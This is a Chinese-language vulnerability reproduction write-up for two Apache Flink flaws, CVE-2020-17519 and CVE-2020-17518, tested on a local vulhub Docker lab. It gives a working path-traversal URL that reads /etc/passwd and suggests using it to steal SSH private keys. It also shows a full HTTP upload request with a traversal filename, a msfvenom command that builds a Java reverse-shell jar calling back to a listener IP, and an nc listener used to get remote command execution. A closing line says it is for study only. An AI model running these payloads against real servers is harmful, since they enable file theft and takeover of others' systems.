一、任意文件读取(CVE-2020-17519)
访问:http://your-ip:8081进入Apache Flink 控制面板:
在地址栏使用poc:
http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
读取/etc/passwd文件:
测试中发现在读取/etc/shadow文件不可行,存在权限问题,访问会直接报错:
但是可以尝试利用任意文件读取尝试去读取/home目录下的用户的.ssh文件夹的ssh私钥来进行ssh登录,再进行提取操作。(笔者未进行尝试,各位看官可以根据这个思路探索一哈)
二、任意文件上传(CVE-2020-17518)
Apache Flink 控制面板的Submit New Job处存在任意文件上传:
使用POC:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
进入查看测试环境查看已经成功上传了success:
另外我们还可以上传上传jar马实现反弹监听从而进行远程命令执行
首先我们使用kali的MSF生成jar马:
msfvenom -p java/shell_reverse_tcp lhost=192.168.153.6 lport=5555 -f jar >/home/kali/Desktop/shell.jar
其中lhost为本地机器的IP,lport为反弹的端口。
可以看到成功生成了jar马(shell.jar)
然后本地机器新建命令行窗口,使用nc进行端口监听:nc -lvvp 5555
最后把生成的jar马通过Submit New Job模块进行上传:
点击Submit即可实现jar马反弹监听:
执行远程命令:
这里看到他的启动不是root用户,更能验证任意读取文件时读取shadow文件报错,跟权限问题相关的。
三、结束语
本次复现均是docker本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。
docker地址
https://github.com/vulhub/vulhub/tree/master/flink/